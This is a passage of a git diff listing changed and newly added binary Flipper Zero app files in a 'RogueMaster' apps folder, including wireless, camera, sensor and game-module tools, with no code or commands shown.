diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Bluetooth/ble_spam.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Bluetooth/ble_spam.fap index f57dbb8d..b4c6a345 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Bluetooth/ble_spam.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Bluetooth/ble_spam.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Bluetooth/bt_trigger.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Bluetooth/bt_trigger.fap index 0c30908d..23a72f1a 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Bluetooth/bt_trigger.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Bluetooth/bt_trigger.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Bluetooth/findmy.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Bluetooth/findmy.fap new file mode 100644 index 00000000..312b5c02 Binary files /dev/null and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Bluetooth/findmy.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Bluetooth/hid_ble.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Bluetooth/hid_ble.fap index 05270644..79c59c07 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Bluetooth/hid_ble.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Bluetooth/hid_ble.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Bluetooth/pc_monitor.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Bluetooth/pc_monitor.fap index c0a3cc01..7377c05e 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Bluetooth/pc_monitor.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Bluetooth/pc_monitor.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Bluetooth/remote_kodi.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Bluetooth/remote_kodi.fap new file mode 100644 index 00000000..b5af8337 Binary files /dev/null and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Bluetooth/remote_kodi.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/cam_camera.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/cam_camera.fap index b3122f51..61298a0d 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/cam_camera.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/cam_camera.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/cam_marauder.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/cam_marauder.fap index 7ed30a6c..a10560db 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/cam_marauder.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/cam_marauder.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/cam_morse_flasher.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/cam_morse_flasher.fap index ab4948f1..84467759 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/cam_morse_flasher.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/cam_morse_flasher.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/cam_nannycam.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/cam_nannycam.fap index 91e5490e..2c8ec71f 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/cam_nannycam.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/cam_nannycam.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/cam_qrcode.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/cam_qrcode.fap index 22d650d5..a5ba8cee 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/cam_qrcode.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/cam_qrcode.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/camera_suite.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/camera_suite.fap index e997a6be..3559e247 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/camera_suite.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/camera_suite.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/esp32_camera.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/esp32_camera.fap index a7696aa0..4cd8c0ed 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/esp32_camera.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/esp32_camera.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/esp32_gravity.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/esp32_gravity.fap index ee07a3bd..2ddad183 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/esp32_gravity.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/esp32_gravity.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/evil_portal.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/evil_portal.fap index 614234ae..73c1aec9 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/evil_portal.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/evil_portal.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/wardriver.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/wardriver.fap index 73a31ac5..813eb778 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/wardriver.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/wardriver.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/wifi_mapping.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/wifi_mapping.fap index a7366543..c794a179 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/wifi_mapping.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/wifi_mapping.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/wifi_marauder.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/wifi_marauder.fap index 320ab21c..34045b58 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/wifi_marauder.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/wifi_marauder.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP8266/deauther.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP8266/deauther.fap index d16036d0..805aa00f 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP8266/deauther.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP8266/deauther.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP8266/ifttt_button.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP8266/ifttt_button.fap index 3d4288a2..0b48763f 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP8266/ifttt_button.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP8266/ifttt_button.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP8266/wifi_deauther_v2.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP8266/wifi_deauther_v2.fap index 22de9b60..17e27966 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP8266/wifi_deauther_v2.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP8266/wifi_deauther_v2.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP8266/wifi_scanner.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP8266/wifi_scanner.fap index d7e9b20a..4e2d5e97 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP8266/wifi_scanner.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP8266/wifi_scanner.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/FlipBoard/flipboard_blinky.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/FlipBoard/flipboard_blinky.fap index 5cf341e5..d7ab4014 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/FlipBoard/flipboard_blinky.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/FlipBoard/flipboard_blinky.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/FlipBoard/flipboard_keyboard.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/FlipBoard/flipboard_keyboard.fap index c187a357..9be2740e 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/FlipBoard/flipboard_keyboard.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/FlipBoard/flipboard_keyboard.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/FlipBoard/flipboard_signal.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/FlipBoard/flipboard_signal.fap index dbdc122c..09ab53bd 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/FlipBoard/flipboard_signal.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/FlipBoard/flipboard_signal.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/FlipBoard/flipboard_simon_rm.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/FlipBoard/flipboard_simon_rm.fap index 54fa5317..0b8cde9a 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/FlipBoard/flipboard_simon_rm.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/FlipBoard/flipboard_simon_rm.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/MALVEKE/malveke_gb_cartridge.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/MALVEKE/malveke_gb_cartridge.fap new file mode 100644 index 00000000..df5f0e6b Binary files /dev/null and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/MALVEKE/malveke_gb_cartridge.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/MALVEKE/malveke_gb_emulator.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/MALVEKE/malveke_gb_emulator.fap new file mode 100644 index 00000000..49e0c081 Binary files /dev/null and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/MALVEKE/malveke_gb_emulator.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/MALVEKE/malveke_gb_link_camera.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/MALVEKE/malveke_gb_link_camera.fap new file mode 100644 index 00000000..36f4b5f3 Binary files /dev/null and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/MALVEKE/malveke_gb_link_camera.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/MALVEKE/malveke_gb_live_camera.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/MALVEKE/malveke_gb_live_camera.fap new file mode 100644 index 00000000..9fb71a36 Binary files /dev/null and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/MALVEKE/malveke_gb_live_camera.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/MALVEKE/malveke_gb_photo.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/MALVEKE/malveke_gb_photo.fap new file mode 100644 index 00000000..688e8c55 Binary files /dev/null and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/MALVEKE/malveke_gb_photo.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/MALVEKE/malveke_gba_cartridge.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/MALVEKE/malveke_gba_cartridge.fap new file mode 100644 index 00000000..e48ec240 Binary files /dev/null and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/MALVEKE/malveke_gba_cartridge.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/MALVEKE/malveke_pin_test.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/MALVEKE/malveke_pin_test.fap new file mode 100644 index 00000000..0b12c620 Binary files /dev/null and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/MALVEKE/malveke_pin_test.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/azerty_mouse_jacker.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/azerty_mouse_jacker.fap index 34996b91..17e815f8 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/azerty_mouse_jacker.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/azerty_mouse_jacker.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/batch.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/batch.fap index 5fea5685..ba709586 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/batch.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/batch.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/channel_scan.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/channel_scan.fap index c6a1e7ad..c24fabf5 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/channel_scan.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/channel_scan.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/mouse_jacker.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/mouse_jacker.fap index 95eb38dc..c07bc1db 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/mouse_jacker.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/mouse_jacker.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/mouse_jacker_ms.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/mouse_jacker_ms.fap index d70f897e..bb52a5ec 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/mouse_jacker_ms.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/mouse_jacker_ms.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/scanner.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/scanner.fap index 6d2aad80..0b16d7e1 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/scanner.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/scanner.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/sniffer.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/sniffer.fap index 844a0e30..7f800739 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/sniffer.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/sniffer.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/sniffer_ms.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/sniffer_ms.fap index a214069e..791faac8 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/sniffer_ms.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/sniffer_ms.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/atomicdiceroller.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/atomicdiceroller.fap index 9da4db70..a15ff84d 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/atomicdiceroller.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/atomicdiceroller.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/bh1750_lightmeter.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/bh1750_lightmeter.fap index a418fb2a..9fd809a7 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/bh1750_lightmeter.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/bh1750_lightmeter.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/hc_sr04_dist_sensor.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/hc_sr04_dist_sensor.fap index fc48d0f5..fb3a8aa2 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/hc_sr04_dist_sensor.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/hc_sr04_dist_sensor.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/j305_geiger_coutner.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/j305_geiger_coutner.fap index d9365d60..9576437f 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/j305_geiger_coutner.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/j305_geiger_coutner.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/max31855.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/max31855.fap index d5724110..c79c868d 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/max31855.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/max31855.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/mh_z19_co2_sensor.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/mh_z19_co2_sensor.fap index 2fdd9fba..f8c731ba 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/mh_z19_co2_sensor.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/mh_z19_co2_sensor.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/mhz19_uart.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/mhz19_uart.fap index 37796d28..1b3bc1a5 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/mhz19_uart.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/mhz19_uart.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/plantower_pmsx003_sensor_reader.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/plantower_pmsx003_sensor_reader.fap index ffa6e657..5e5f4254 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/plantower_pmsx003_sensor_reader.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/plantower_pmsx003_sensor_reader.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/radiation_sensor.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/radiation_sensor.fap index eb648e23..39ca10f5 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/radiation_sensor.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/radiation_sensor.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/rcwl_0516_motion_sensor.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/rcwl_0516_motion_sensor.fap index 6ca82e6c..69d5fb18 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/rcwl_0516_motion_sensor.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/rcwl_0516_motion_sensor.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/temp_sensors_reader.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/temp_sensors_reader.fap index 4a703d26..ca3a5d97 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/temp_sensors_reader.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/temp_sensors_reader.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/usping_dist_sensor.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/usping_dist_sensor.fap index e02660a6..8f633cd0 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/usping_dist_sensor.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/usping_dist_sensor.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/VGM/air_arkanoid.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/VGM/air_arkanoid.fap index 617b2002..396f8795 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/VGM/air_arkanoid.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/VGM/air_arkanoid.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/VGM/air_labyrinth.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/VGM/air_labyrinth.fap index fcd47db0..b3a67ce9 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/VGM/air_labyrinth.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/VGM/air_labyrinth.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/VGM/vgm_air_mouse.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/VGM/vgm_air_mouse.fap index e7eba38f..a1d2d32a 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/VGM/vgm_air_mouse.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/VGM/vgm_air_mouse.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/VGM/video_game_module_tool.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/VGM/video_game_module_tool.fap index 43b4fdfd..7eca52fc 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/VGM/video_game_module_tool.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/VGM/video_game_module_tool.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/avr_flasher.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/avr_flasher.fap index 2b58ef1d..3530b0f4 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/avr_flasher.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/avr_flasher.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/battery_checker.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/battery_checker.fap index 111722c6..265828b3 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/battery_checker.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/battery_checker.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/bmi160_air_mouse.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/bmi160_air_mouse.fap index 4329dae8..42cb0022 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/bmi160_air_mouse.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/bmi160_air_mouse.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/canonivm.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/canonivm.fap index e5a49014..d0831711 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/canonivm.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/canonivm.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/coffee_eeprom.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/coffee_eeprom.fap index f9004290..837481e5 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/coffee_eeprom.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/coffee_eeprom.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/continuity.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/continuity.fap index 535597f6..0ceb2837 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/continuity.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/continuity.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/dap_link.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/dap_link.fap index 309c37c2..91538128 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/dap_link.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/dap_link.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/digimon_fcom.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/digimon_fcom.fap index de7db0fe..9ad1cb74 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/digimon_fcom.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/digimon_fcom.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/esp_flasher.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/esp_flasher.fap index aeb746c0..76d3fb92 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/esp_flasher.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/esp_flasher.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ethernet_w5500.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ethernet_w5500.fap index f62dc2f2..0597a8bc 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ethernet_w5500.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ethernet_w5500.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/flashlight.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/flashlight.fap index ce0530ef..06213dac 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/flashlight.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/flashlight.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/fm_radio.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/fm_radio.fap index 5ef2884f..44491b39 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/fm_radio.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/fm_radio.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gas_sensor.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gas_sensor.fap index 360f372a..cc8bd793 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gas_sensor.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gas_sensor.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio.fap index b380df32..c03580b2 100644 Binary files a/Applications/Custom (UL, 